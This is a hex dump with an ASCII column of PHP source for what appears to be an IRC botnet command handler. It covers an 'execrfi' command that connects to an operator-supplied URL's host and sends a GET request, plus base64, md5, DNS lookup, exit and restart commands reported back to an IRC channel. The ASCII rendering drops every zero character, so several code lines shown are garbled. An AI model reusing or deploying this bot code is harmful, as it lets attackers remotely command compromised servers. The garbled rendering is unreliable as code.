| 9536: | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 66 | 69 | 6C | |
{
$fil |
| 9568: | 65 | 55 | 72 | 6C | 20 | 3D | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | | eUrl = $mcmd[1];
|
| 9600: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 21 | 65 | 6D | 70 | 74 | 79 | 28 | 20 | 24 | 66 | 69 | 6C | 65 | 55 | 72 | 6C | | if( !empty( $fileUrl |
| 9632: | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ) )
{
|
| 9664: | 09 | 09 | 24 | 75 | 72 | 6C | 69 | 20 | 3D | 20 | 70 | 61 | 72 | 73 | 65 | 5F | 75 | 72 | 6C | 28 | 20 | 24 | 66 | 69 | 6C | 65 | 55 | 72 | 6C | 20 | 29 | 3B | | $urli = parse_url( $fileUrl ); |
| 9696: | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | |
if |
| 9728: | 28 | 20 | 21 | 65 | 6D | 70 | 74 | 79 | 28 | 20 | 24 | 75 | 72 | 6C | 69 | 5B | 27 | 68 | 6F | 73 | 74 | 27 | 5D | 20 | 29 | 20 | 26 | 26 | 20 | 21 | 65 | 6D | | ( !empty( $urli['host'] ) && !em |
| 9760: | 70 | 74 | 79 | 28 | 20 | 24 | 75 | 72 | 6C | 69 | 5B | 27 | 70 | 61 | 74 | 68 | 27 | 5D | 20 | 29 | 20 | 26 | 26 | 20 | 21 | 65 | 6D | 70 | 74 | 79 | 28 | 20 | | pty( $urli['path'] ) && !empty( |
| 9792: | 24 | 75 | 72 | 6C | 69 | 5B | 27 | 71 | 75 | 65 | 72 | 79 | 27 | 5D | 20 | 29 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | $urli['query'] ) )
|
| 9824: | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 66 | 70 | 20 | 3D | 20 | 66 | 73 | 6F | 63 | 6B | 6F | 70 | 65 | | {
$fp = fsockope |
| 9856: | 6E | 28 | 20 | 24 | 75 | 72 | 6C | 69 | 5B | 27 | 68 | 6F | 73 | 74 | 27 | 5D | 2C | 20 | 38 | 30 | 2C | 20 | 24 | 65 | 72 | 72 | 6E | 6F | 2C | 20 | 24 | 65 | | n( $urli['host'], 8 , $errno, $e |
| 9888: | 72 | 72 | 73 | 74 | 72 | 2C | 20 | 35 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | | rrstr, 5 );
|
| 9920: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 20 | 24 | 66 | 70 | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | if( $fp )
|
| 9952: | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 3D | 20 | 22 | 47 | 45 | | {
$out = "GE |
| 9984: | 54 | 20 | 2F | 22 | 2E | 24 | 75 | 72 | 6C | 69 | 5B | 27 | 70 | 61 | 74 | 68 | 27 | 5D | 2E | 24 | 75 | 72 | 6C | 69 | 5B | 27 | 71 | 75 | 65 | 72 | 79 | 27 | | T /".$urli['path'].$urli['query' |
| 10016: | 5D | 2E | 22 | 20 | 48 | 54 | 54 | 50 | 2F | 31 | 2E | 31 | 5C | 72 | 5C | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ]." HTTP/1.1\r\n";
|
| 10048: | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 2E | 3D | 20 | 22 | 48 | 6F | 73 | 74 | 3A | 20 | 22 | 2E | 24 | 75 | 72 | 6C | 69 | 5B | 27 | 68 | 6F | 73 | 74 | 27 | | $out .= "Host: ".$urli['host' |
| 10080: | 5D | 2E | 22 | 5C | 72 | 5C | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 2E | | ]."\r\n";
$out . |
| 10112: | 3D | 20 | 22 | 4B | 65 | 65 | 70 | 2D | 41 | 6C | 69 | 76 | 65 | 3A | 20 | 33 | 30 | 30 | 5C | 72 | 5C | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | | = "Keep-Alive: 3 \r\n";
|
| 10144: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 6F | 75 | 74 | 20 | 2E | 3D | 20 | 22 | 43 | 6F | 6E | 6E | 65 | 63 | 74 | 69 | 6F | 6E | 3A | 20 | 6B | 65 | | $out .= "Connection: ke |
| 10176: | 65 | 70 | 2D | 61 | 6C | 69 | 76 | 65 | 5C | 72 | 5C | 6E | 5C | 72 | 5C | 6E | 22 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ep-alive\r\n\r\n";
|
| 10208: | 09 | 09 | 09 | 66 | 77 | 72 | 69 | 74 | 65 | 28 | 20 | 24 | 66 | 70 | 2C | 20 | 24 | 6F | 75 | 74 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | fwrite( $fp, $out );
|
| 10240: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 67 | 65 | 74 | 5F | 64 | 61 | |
$get_da |
| 10272: | 74 | 61 | 20 | 3D | 20 | 27 | 27 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | | ta = '';
|
| 10304: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 77 | 68 | 69 | 6C | 65 | 28 | 21 | 66 | 65 | 6F | 66 | 28 | 24 | 66 | 70 | 29 | 29 | 0D | 0A | 09 | 09 | 09 | | while(!feof($fp))
|
| 10336: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 20 | 24 | 67 | 65 | 74 | 5F | 64 | 61 | 74 | 61 | 20 | 2E | 3D | 20 | 66 | 67 | 65 | 74 | 73 | | { $get_data .= fgets |
| 10368: | 28 | 20 | 24 | 66 | 70 | 2C | 20 | 32 | 35 | 36 | 20 | 29 | 3B | 20 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ( $fp, 256 ); }
|
| 10400: | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | |
$this->privmsg( |
| 10432: | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 27 | 5B | 20 | 65 | 78 | 65 | 63 | 72 | 66 | 69 | 20 | | $this->get_chan( ), '[ execrfi |
| 10464: | 5D | 20 | 45 | 78 | 65 | 63 | 75 | 74 | 65 | 64 | 20 | 66 | 69 | 6C | 65 | 20 | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 55 | 72 | 6C | 20 | 29 | 3B | 0D | 0A | 09 | | ] Executed file '.$fileUrl );
|
| 10496: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | break;
|
| 10528: | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | }
}
|
| 10560: | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | }
|
| 10592: | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | | $this->privmsg( $this->get_chan( |
| 10624: | 20 | 29 | 2C | 20 | 27 | 5B | 20 | 65 | 78 | 65 | 63 | 72 | 66 | 69 | 20 | 5D | 20 | 46 | 61 | 69 | 6C | 75 | 72 | 65 | 20 | 65 | 78 | 65 | 63 | 75 | 74 | 69 | | ), '[ execrfi ] Failure executi |
| 10656: | 6E | 67 | 20 | 27 | 2E | 24 | 66 | 69 | 6C | 65 | 55 | 72 | 6C | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | | ng '.$fileUrl );
br |
| 10688: | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | | eak;
}
c |
| 10720: | 61 | 73 | 65 | 20 | 22 | 62 | 61 | 73 | 65 | 36 | 34 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | | ase "base64":
{
|
| 10752: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 73 | 74 | 72 | 5F | 65 | 64 | 20 | 3D | 20 | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 20 | 73 | 74 | 72 | 73 | 74 | | $str_ed = substr( strst |
| 10784: | 72 | 28 | 20 | 24 | 6D | 73 | 67 | 2C | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 20 | 29 | 2C | 20 | 73 | 74 | 72 | 6C | 65 | 6E | 28 | 20 | 24 | 6D | 63 | | r( $msg, $mcmd[1] ), strlen( $mc |
| 10816: | 6D | 64 | 5B | 31 | 5D | 20 | 29 | 20 | 2B | 20 | 31 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 73 | 77 | 69 | 74 | | md[1] ) + 1 );
swit |
| 10848: | 63 | 68 | 28 | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 20 | 29 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | | ch( $mcmd[1] )
{
|
| 10880: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 65 | 6E | 63 | 6F | 64 | 65 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | | case "encode":
|
| 10912: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | | {
$this- |
| 10944: | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | | >privmsg( $this->get_chan( ), "[ |
| 10976: | 20 | 62 | 61 | 73 | 65 | 36 | 34 | 20 | 5D | 20 | 65 | 6E | 63 | 6F | 64 | 65 | 20 | 5B | 20 | 27 | 22 | 2E | 24 | 73 | 74 | 72 | 5F | 65 | 64 | 2E | 22 | 27 | | base64 ] encode [ '".$str_ed."' |
| 11008: | 20 | 2D | 3E | 20 | 27 | 22 | 2E | 62 | 61 | 73 | 65 | 36 | 34 | 5F | 65 | 6E | 63 | 6F | 64 | 65 | 28 | 24 | 73 | 74 | 72 | 5F | 65 | 64 | 29 | 2E | 22 | 27 | | -> '".base64_encode($str_ed)."' |
| 11040: | 20 | 5D | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | | ]" );
break;
|
| 11072: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | | }
case |
| 11104: | 22 | 64 | 65 | 63 | 6F | 64 | 65 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | | "decode":
{
|
| 11136: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | | $this->privmsg( $this-> |
| 11168: | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 62 | 61 | 73 | 65 | 36 | 34 | 20 | 5D | 20 | 64 | 65 | 63 | 6F | 64 | 65 | 20 | | get_chan( ), "[ base64 ] decode |
| 11200: | 5B | 20 | 27 | 22 | 2E | 24 | 73 | 74 | 72 | 5F | 65 | 64 | 2E | 22 | 27 | 20 | 2D | 3E | 20 | 27 | 22 | 2E | 62 | 61 | 73 | 65 | 36 | 34 | 5F | 64 | 65 | 63 | | [ '".$str_ed."' -> '".base64_dec |
| 11232: | 6F | 64 | 65 | 28 | 24 | 73 | 74 | 72 | 5F | 65 | 64 | 29 | 2E | 22 | 27 | 20 | 5D | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ode($str_ed)."' ]" );
|
| 11264: | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | | break;
}
|
| 11296: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | 3B | 0D | 0A | | }
break;
|
| 11328: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | 20 | 22 | 6D | | }
case "m |
| 11360: | 64 | 35 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | d5":
{
|
| 11392: | 24 | 73 | 74 | 72 | 5F | 6D | 64 | 35 | 20 | 3D | 20 | 73 | 75 | 62 | 73 | 74 | 72 | 28 | 20 | 73 | 74 | 72 | 73 | 74 | 72 | 28 | 20 | 24 | 6D | 73 | 67 | 2C | | $str_md5 = substr( strstr( $msg, |
| 11424: | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 30 | 5D | 20 | 29 | 2C | 20 | 73 | 74 | 72 | 6C | 65 | 6E | 28 | 20 | 24 | 6D | 63 | 6D | 64 | 5B | 30 | 5D | 20 | 29 | 20 | | $mcmd[ ] ), strlen( $mcmd[ ] ) |
| 11456: | 2B | 20 | 31 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | | + 1 );
$this->privm |
| 11488: | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 6D | 64 | 35 | 20 | 5D | | sg( $this->get_chan( ), "[ md5 ] |
| 11520: | 20 | 5B | 20 | 27 | 22 | 2E | 24 | 73 | 74 | 72 | 5F | 6D | 64 | 35 | 2E | 22 | 27 | 20 | 2D | 3E | 20 | 27 | 22 | 2E | 6D | 64 | 35 | 28 | 24 | 73 | 74 | 72 | | [ '".$str_md5."' -> '".md5($str |
| 11552: | 5F | 6D | 64 | 35 | 29 | 2E | 22 | 27 | 20 | 5D | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | | _md5)."' ]" );
brea |
| 11584: | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | | k;
}
cas |
| 11616: | 65 | 20 | 22 | 64 | 6E | 73 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | e "dns":
{
|
| 11648: | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 69 | 73 | 73 | 65 | 74 | 28 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 29 | 29 | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | | if(isset($mcmd[1]))
|
| 11680: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | | {
|
| 11712: | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | |
|
| 11744: | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 24 | 69 | 70 | 20 | 3D | 20 | 65 | 78 | 70 | 6C | 6F | 64 | 65 | 28 | 22 | 2E | 22 | 2C | 24 | 6D | 63 | 6D | 64 | 5B | | $ip = explode(".",$mcmd[ |
| 11776: | 31 | 5D | 29 | 3B | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | 1]);
|
| 11808: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 69 | 66 | 28 | 63 | 6F | 75 | 6E | 74 | 28 | 24 | 69 | 70 | 29 | 3D | 3D | 34 | 20 | 26 | | if(count($ip)==4 & |
| 11840: | 26 | 20 | 69 | 73 | 5F | 6E | 75 | 6D | 65 | 72 | 69 | 63 | 28 | 24 | 69 | 70 | 5B | 30 | 5D | 29 | 20 | 26 | 26 | 20 | 69 | 73 | 5F | 6E | 75 | 6D | 65 | 72 | | & is_numeric($ip[ ]) && is_numer |
| 11872: | 69 | 63 | 28 | 24 | 69 | 70 | 5B | 31 | 5D | 29 | 20 | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 26 | 26 | 20 | 69 | 73 | | ic($ip[1])
&& is |
| 11904: | 5F | 6E | 75 | 6D | 65 | 72 | 69 | 63 | 28 | 24 | 69 | 70 | 5B | 32 | 5D | 29 | 20 | 26 | 26 | 20 | 69 | 73 | 5F | 6E | 75 | 6D | 65 | 72 | 69 | 63 | 28 | 24 | | _numeric($ip[2]) && is_numeric($ |
| 11936: | 69 | 70 | 5B | 33 | 5D | 29 | 29 | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | ip[3]))
|
| 11968: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | {
|
| 12000: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | | $t |
| 12032: | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | | his->privmsg($this->get_chan( ), |
| 12064: | 22 | 5B | 20 | 64 | 6E | 73 | 20 | 5D | 3A | 20 | 22 | 2E | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 2E | 22 | 20 | 3D | 3E | 20 | 22 | 2E | 67 | 65 | 74 | 68 | | "[ dns ]: ".$mcmd[1]." => ".geth |
| 12096: | 6F | 73 | 74 | 62 | 79 | 61 | 64 | 64 | 72 | 28 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 29 | 29 | 3B | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | ostbyaddr($mcmd[1]));
|
| 12128: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 7D | | } |
| 12160: | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | |
|
| 12192: | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 65 | 6C | 73 | 65 | 20 | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | else
|
| 12224: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | | {
|
| 12256: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | | |
| 12288: | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 67 | 65 | 74 | 5F | 63 | 68 | | $this->privmsg($this->get_ch |
| 12320: | 61 | 6E | 28 | 20 | 29 | 2C | 22 | 5B | 20 | 64 | 6E | 73 | 20 | 5D | 3A | 20 | 22 | 2E | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 2E | 22 | 20 | 3D | 3E | 20 | | an( ),"[ dns ]: ".$mcmd[1]." => |
| 12352: | 22 | 2E | 67 | 65 | 74 | 68 | 6F | 73 | 74 | 62 | 79 | 6E | 61 | 6D | 65 | 28 | 24 | 6D | 63 | 6D | 64 | 5B | 31 | 5D | 29 | 29 | 3B | 20 | 0D | 0A | 20 | 20 | | ".gethostbyname($mcmd[1]));
|
| 12384: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | |
| 12416: | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 20 | | }
|
| 12448: | 20 | 20 | 20 | 20 | 20 | 20 | 20 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | 65 | 61 | 6B | | }
break |
| 12480: | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | 61 | 73 | 65 | | ;
}
case |
| 12512: | 20 | 22 | 65 | 78 | 69 | 74 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | "exit":
{
|
| 12544: | 09 | 09 | 09 | 09 | 66 | 63 | 6C | 6F | 73 | 65 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 63 | 6F | 6E | 6E | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | | fclose( $this->conn );
|
| 12576: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 65 | 78 | 69 | 74 | 28 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 62 | 72 | | exit( );
br |
| 12608: | 65 | 61 | 6B | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7D | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 63 | | eak;
}
c |
| 12640: | 61 | 73 | 65 | 20 | 22 | 72 | 65 | 73 | 74 | 61 | 72 | 74 | 22 | 3A | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 7B | 0D | 0A | 09 | 09 | | ase "restart":
{
|
| 12672: | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 24 | 74 | 68 | 69 | 73 | 2D | 3E | 70 | 72 | 69 | 76 | 6D | 73 | 67 | 28 | 20 | 24 | 74 | 68 | 69 | 73 | 2D | | $this->privmsg( $this- |
| 12704: | 3E | 67 | 65 | 74 | 5F | 63 | 68 | 61 | 6E | 28 | 20 | 29 | 2C | 20 | 22 | 5B | 20 | 72 | 65 | 73 | 74 | 61 | 72 | 74 | 20 | 5D | 20 | 65 | 78 | 65 | 63 | 75 | | >get_chan( ), "[ restart ] execu |
| 12736: | 74 | 65 | 64 | 20 | 62 | 79 | 20 | 5B | 22 | 2E | 24 | 6E | 69 | 63 | 6B | 2E | 22 | 5D | 22 | 20 | 29 | 3B | 0D | 0A | 09 | 09 | 09 | 09 | 09 | 09 | 09 | 09 | | ted by [".$nick."]" );
|
